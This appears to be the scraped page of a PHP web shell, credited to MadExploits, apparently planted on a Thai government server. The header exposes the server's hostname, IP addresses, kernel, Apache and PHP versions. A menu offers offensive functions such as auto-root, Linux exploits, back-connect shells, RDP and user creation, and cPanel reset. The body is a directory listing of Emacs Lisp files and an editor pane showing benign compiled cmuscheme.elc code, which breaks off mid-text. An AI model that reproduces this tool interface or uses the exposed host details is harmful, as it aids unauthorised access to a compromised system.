Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cmuscheme.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:02:46 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/cmuscheme.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`cmuscheme.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\303\304\305\306\307\301%\207" [require scheme comint custom-declare-group cmuscheme nil "Run a scheme process in a buffer." :group] 6) #@44 Hook for customizing inferior-scheme mode. (custom-declare-variable 'inferior-scheme-mode-hook 'nil '(#$ . 783) :type 'hook :group 'cmuscheme) (byte-code "\305B\306\305!\204/ \307\305\310 \311 \312\313#\210\311 \314\315#\210\311 \316\317#\210\311 \320\321#\210\322 !\210 )\"\210\311\n\312\313#\210\311\n\314\315#\210\311\n\323\313#\210\311\n\324\325#\210\311\n\326\327#\210\311\n\330\331#\210\311\n\332\333#\210\311\n\334\335#\210\311\n\336\337#\210\311\n\340\341#\210\311\n\342\343#\210\311\n\316\317#\210\311\n\320\321#\210\344\n\345\"\311 \346\347#\210\311 \350\351#\210\311 \352\353#\210\311 \354\355#\210\311 \356\357#\210\311 \360\361#\210\311 \362\363#\210\311 \364\365#\210\311 \366\367#\210\311 \370\371#\210\311 \372\373#\210\311 \374\375#\210\311 \376\377#\210)\201@ \201A N\204\351 \201B \201@ \201A \201C #\210\201D \305!\204\375 \201B \305\201E \201F #\210\305B\306\305!\204 \307\305\310 \"\210\201D \201G !\204%\201B \201G \201E \201F #\210\201G B\306\201G !\204=\307\201G \201H \"\210\201B \304\201E \201F #\210\304B\306\304!\204a\307\304\201I \304\201J \"\210\f\"\210\201B \201F \201K \201L #\207" [current-load-list m scheme-mode-map map inferior-scheme-mode-abbrev-table inferior-scheme-mode-map default-boundp set-default make-sparse-keymap define-key "\230" scheme-send-definition "" scheme-send-last-sexp "\f" scheme-load-file " " scheme-compile-file scheme-mode-commands "" "\345" scheme-send-definition-and-go "" scheme-send-region "\362" scheme-send-region-and-go "\343" scheme-compile-definition "" scheme-compile-definition-and-go "" scheme-trace-procedure "" scheme-expand-current-form "" switch-to-scheme lookup-key [menu-bar scheme] [separator-eval] ("--") [compile-file] ("Compile Scheme File" . scheme-compile-file) [load-file] ("Load Scheme File" . scheme-load-file) [switch] ("Switch to Scheme" . switch-to-scheme) [com-def-go] ("Compile Definition & Go" . scheme-compile-definition-and-go) [com-def] ("Compile Definition" . scheme-compile-definition) [exp-form] ("Expand current form" . scheme-expand-current-form) [trace-proc] ("Trace procedure" . scheme-trace-procedure) [send-def-go] ("Evaluate Last Definition & Go" . scheme-send-definition-and-go) [send-def] ("Evaluate Last Definition" . scheme-send-definition) [send-region-go] ("Evaluate Region & Go" . scheme-send-region-and-go) [send-region] ("Evaluate Region" . scheme-send-region) [send-sexp] ("Evaluate Last S-expression" . scheme-send-last-sexp) inferior-scheme-mode-hook variable-documentation put "Hook run when entering Inferior Scheme mode.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it. (This is true for all hook variables.)" boundp definition-name inferior-scheme-mode inferior-scheme-mode-syntax-table make-syntax-table define-abbrev-table nil derived-mode-parent comint-mode] 6) #@1678 Major mode for interacting with an inferior Scheme process. The following commands are available: \{inferior-scheme-mode-map} A Scheme process can be fired up with M-x run-scheme. Customization: Entry to this mode runs the hooks on comint-mode-hook and inferior-scheme-mode-hook (in that order). You can send text to the inferior Scheme process from other buffers containing Scheme source. switch-to-scheme switches the current buffer to the Scheme process buffer. scheme-send-definition sends the current definition to the Scheme process. scheme-compile-definition compiles the current definition. scheme-send-region sends the current region to the Scheme process. scheme-compile-region compiles the current region. scheme-send-definition-and-go, scheme-compile-definition-and-go, scheme-send-region-and-go, and scheme-compile-region-and-go switch to the Scheme process buffer after sending their text. For information on running multiple processes in multiple buffers, see documentation for variable scheme-buffer. Commands: Return after the end of the process' output sends the text from the end of process to point. Return before the end of the process' output copies the sexp ending at point to the end of the process' output, and sends it. Delete converts tabs to spaces as it moves back. Tab indents for Scheme; with argument, shifts rest of expression rigidly with the current line. C-M-q does Tab on each line starting within following expression. Paragraphs are separated only by blank lines. Semicolons start comments. If you accidentally suspend your process, use \[comint-continue-subjob] to continue it. (defalias 'inferior-scheme-mode #[nil "\306\300!\210\307\310 \210\311\312\310\313N\203 \314\311\313\310\313N#\210\315 !\204' \316 \317 \"\210\320\f!\211 \2036 \321 =\203< \322\f\323 \"\210)\324 !\210\325\f!\210 \326 \327 \210\330 \331!\332\")\333\334!\207" [delay-mode-hooks major-mode mode-name inferior-scheme-mode-map inferior-scheme-mode-syntax-table parent make-local-variable t comint-mode inferior-scheme-mode "Inferior Scheme" mode-class put keymap-parent set-keymap-parent current-local-map char-table-parent standard-syntax-table set-char-table-parent syntax-table use-local-map set-syntax-table "^[^>\n]*>+ *" scheme-mode-variables (":%s") scheme-input-filter scheme-get-old-input run-mode-hooks inferior-scheme-mode-hook inferior-scheme-mode-abbrev-table local-abbrev-table comint-prompt-regexp mode-line-process comint-input-filter comint-get-old-input] 6 (#$ . 3653) nil]) #@127 Input matching this regexp are not saved on the history list. Defaults to a regexp ignoring all inputs of 0, 1, or 2 letters. (custom-declare-variable 'inferior-scheme-filter-regexp '"\\`\\s *\\S ?\\S ?\\s *\\'" '(#$ . 6236) :type 'regexp :group 'cmuscheme) #@63 Don't save anything matching `inferior-scheme-filter-regexp'. (defalias 'scheme-input-filter #[(str) "\302 \"?\207" [inferior-scheme-filter-regexp str string-match] 3 (#$ . 6500)]) #@33 Snarf the sexp ending at point. (defalias 'scheme-get-old-input #[nil "\212`\301 \210`{*\207" [end backward-sexp] 2 (#$ . 6688)]) #@608 Run an inferior Scheme process, input and output via buffer `*scheme*'. If there is a process already running in `*scheme*', switch to that buffer. With argument, allows you to edit the command line (default is value of `scheme-program-name'). If the file `~/.emacs_SCHEMENAME' or `~/.emacs.d/init_SCHEMENAME.scm' exists, it is given as initial input. Note that this may lose due to a timing error if the Scheme processor discards input when it starts up. Runs the hook `inferior-scheme-mode-hook' (after the `comint-mode-hook' is run). (Type \[describe-mode] in the process buffer for a list of commands.) (defalias 'run-scheme #[(cmd) "\304\305!\204 \306!\307\310\311 @\312 @! A%q\210\313 \210)\305\314\305!\207" [cmd cmdlist scheme-program-name scheme-buffer comint-check-proc "*scheme*" split-string-and-unquote apply make-comint "scheme" scheme-start-file inferior-scheme-mode pop-to-buffer] 6 (#$ . 6827) (list (if current-prefix-arg (read-string "Run Scheme: " scheme-program-name) scheme-program-name))]) #@157 Return the name of the start file corresponding to PROG. Search in the directories "~" and "~/.emacs.d", in this order. Return nil if no start file found. (defalias 'scheme-start-file #[(prog) "\305!\306 P \307 \310R \311\n!\203 \n\202 \311\f!\205 \f+\207" [prog progname start-file user-emacs-directory alt-start-file file-name-nondirectory "~/.emacs_" "init_" ".scm" file-exists-p] 4 (#$ . 7853)]) #@57 Send the current region to the inferior Scheme process. (defalias 'scheme-send-region #[(start end) "\302\303 #\210\304\303 \305\"\207" [start end comint-send-region scheme-proc comint-send-string "\n"] 4 (#$ . 8266) "r"]) #@61 Send the current definition to the inferior Scheme process. (defalias 'scheme-send-definition #[nil "\212\301 \210`\302 \210\303`\"*\207" [end end-of-defun beginning-of-defun scheme-send-region] 3 (#$ . 8497) nil]) #@56 Send the previous sexp to the inferior Scheme process. (defalias 'scheme-send-last-sexp #[nil "\300\212\301 \210`)`\"\207" [scheme-send-region backward-sexp] 3 (#$ . 8720) nil]) #@72 Template for issuing commands to compile arbitrary Scheme expressions. (custom-declare-variable 'scheme-compile-exp-command '"(compile '%s)" '(#$ . 8904) :type 'string :group 'cmuscheme) #@117 Compile the current region in the inferior Scheme process. (A BEGIN is wrapped around the region: (BEGIN <region>)) (defalias 'scheme-compile-region #[(start end) "\303\304 \305\305\306 \n{\"\"\"\210\303\304 \307\"\207" [scheme-compile-exp-command start end comint-send-string scheme-proc format "(begin %s)" "\n"] 8 (#$ . 9098) "r"]) #@64 Compile the current definition in the inferior Scheme process. (defalias 'scheme-compile-definition #[nil "\212\301 \210`\302 \210\303`\"*\207" [end end-of-defun beginning-of-defun scheme-compile-region] 3 (#$ . 9440) nil]) #@292 Template for issuing commands to trace a Scheme procedure. Some Scheme implementations might require more elaborate commands here. For PLT-Scheme, e.g., one should use (setq scheme-trace-command "(begin (require (lib \"trace.ss\")) (trace %s))") For Scheme 48 and Scsh use ",trace %s". (custom-declare-variable 'scheme-trace-command '"(trace %s)" '(#$ . 9673) :type 'string :group 'cmuscheme) #@127 Template for switching off tracing of a Scheme procedure. Scheme 48 and Scsh users should set this variable to ",untrace %s". (custom-declare-variable 'scheme-untrace-command '"(untrace %s)" '(#$ . 10078) :type 'string :group 'cmuscheme) #@115 Trace procedure PROC in the inferior Scheme process. With a prefix argument switch off tracing of procedure PROC. (defalias 'scheme-trace-procedure #[(proc &optional untrace) "G\304U\203 \305\306!\210\307\310 \311 \203 \n\202 \"\"\210\307\310 \312\"\207" [proc untrace scheme-untrace-command scheme-trace-command 0 error "Invalid procedure name" comint-send-string scheme-proc format "\n"] 5 (#$ . 10323) (list (let ((current (symbol-at-point)) (action (if current-prefix-arg "Untrace" "Trace"))) (if current (read-string (format "%s procedure [%s]: " action current) nil nil (symbol-name current)) (read-string (format "%s procedure: " action)))) current-prefix-arg)]) #@86 Template for macro-expanding a Scheme form. For Scheme 48 and Scsh use ",expand %s". (custom-declare-variable 'scheme-macro-expand-command '"(expand %s)" '(#$ . 11005) :type 'string :group 'cmuscheme) #@64 Macro-expand the form at point in the inferior Scheme process. (defalias 'scheme-expand-current-form #[nil "\302 \211\203 \303\304 \305 \"\"\210\303\304 \306\"\202 \307\310!)\207" [current-form scheme-macro-expand-command scheme-form-at-point comint-send-string scheme-proc format "\n" error "Not at a form"] 6 (#$ . 11212) nil]) (defalias 'scheme-form-at-point #[nil "\301\302!\211\203 \303\304O\305\230\203 \202 \212\306 \210\307 ))\207" [next-sexp thing-at-point sexp 0 1 "(" backward-up-list scheme-form-at-point] 4]) #@87 Switch to the scheme process buffer. With argument, position cursor at end of buffer. (defalias 'switch-to-scheme #[(eob-p) "\203\n \302!\204 \303 \203 \304!\210\202 \305\306!\210 \205# \307 \210db\207" [scheme-buffer eob-p get-buffer scheme-interactively-start-process pop-to-buffer error "No current process buffer. See variable `scheme-buffer'" push-mark] 2 (#$ . 11750) "P"]) #@92 Send the current region to the inferior Scheme process. Then switch to the process buffer. (defalias 'scheme-send-region-and-go #[(start end) "\302 \"\210\303\304!\207" [start end scheme-send-region switch-to-scheme t] 3 (#$ . 12143) "r"]) #@88 Send the current definition to the inferior Scheme. Then switch to the process buffer. (defalias 'scheme-send-definition-and-go #[nil "\300 \210\301\302!\207" [scheme-send-definition switch-to-scheme t] 2 (#$ . 12390) nil]) #@91 Compile the current definition in the inferior Scheme. Then switch to the process buffer. (defalias 'scheme-compile-definition-and-go #[nil "\300 \210\301\302!\207" [scheme-compile-definition switch-to-scheme t] 2 (#$ . 12620) nil]) #@87 Compile the current region in the inferior Scheme. Then switch to the process buffer. (defalias 'scheme-compile-region-and-go #[(start end) "\302 \"\210\303\304!\207" [start end scheme-compile-region switch-to-scheme t] 3 (#$ . 12859) "r"]) #@258 Used to determine if a buffer contains Scheme source code. If it's loaded into a buffer that is in one of these major modes, it's considered a scheme source file by `scheme-load-file' and `scheme-compile-file'. Used by these commands to determine defaults. (custom-declare-variable 'scheme-source-modes ''(scheme-mode) '(#$ . 13108) :type '(repeat function) :group 'cmuscheme) #@184 Caches the last (directory . file) pair. Caches the last pair used in the last `scheme-load-file' or `scheme-compile-file' command. Used for determining the default in the next one. (defvar scheme-prev-l/c-dir/file nil (#$ . 13492)) #@64 Load a Scheme file FILE-NAME into the inferior Scheme process. (defalias 'scheme-load-file #[(file-name) "\302!\210\303!\304!B\305\306 \307\310Q\"\207" [file-name scheme-prev-l/c-dir/file comint-check-source file-name-directory file-name-nondirectory comint-send-string scheme-proc "(load \"" "\")\n"] 5 (#$ . 13732) (comint-get-source "Load Scheme file: " scheme-prev-l/c-dir/file scheme-source-modes t)]) #@65 Compile a Scheme file FILE-NAME in the inferior Scheme process. (defalias 'scheme-compile-file #[(file-name) "\302!\210\303!\304!B\305\306 \307\310Q\"\207" [file-name scheme-prev-l/c-dir/file comint-check-source file-name-directory file-name-nondirectory comint-send-string scheme-proc "(compile-file \"" "\")\n"] 5 (#$ . 14150) (comint-get-source "Compile Scheme file: " scheme-prev-l/c-dir/file scheme-source-modes nil)]) #@2006 *The current scheme process buffer. MULTIPLE PROCESS SUPPORT =========================================================================== Cmuscheme.el supports, in a fairly simple fashion, running multiple Scheme processes. To run multiple Scheme processes, you start the first up with \[run-scheme]. It will be in a buffer named *scheme*. Rename this buffer with \[rename-buffer]. You may now start up a new process with another \[run-scheme]. It will be in a new buffer, named *scheme*. You can switch between the different process buffers with \[switch-to-buffer]. Commands that send text from source buffers to Scheme processes -- like `scheme-send-definition' or `scheme-compile-region' -- have to choose a process to send to, when you have more than one Scheme process around. This is determined by the global variable `scheme-buffer'. Suppose you have three inferior Schemes running: Buffer Process foo scheme bar scheme<2> *scheme* scheme<3> If you do a \[scheme-send-definition-and-go] command on some Scheme source code, what process do you send it to? - If you're in a process buffer (foo, bar, or *scheme*), you send it to that process. - If you're in some other buffer (e.g., a source file), you send it to the process attached to buffer `scheme-buffer'. This process selection is performed by function `scheme-proc'. Whenever \[run-scheme] fires up a new process, it resets `scheme-buffer' to be the new process's buffer. If you only run one process, this will do the right thing. If you run multiple processes, you can change `scheme-buffer' to another process buffer with \[set-variable]. More sophisticated approaches are, of course, possible. If you find yourself needing to switch back and forth between multiple processes frequently, you may wish to consider ilisp.el, a larger, more 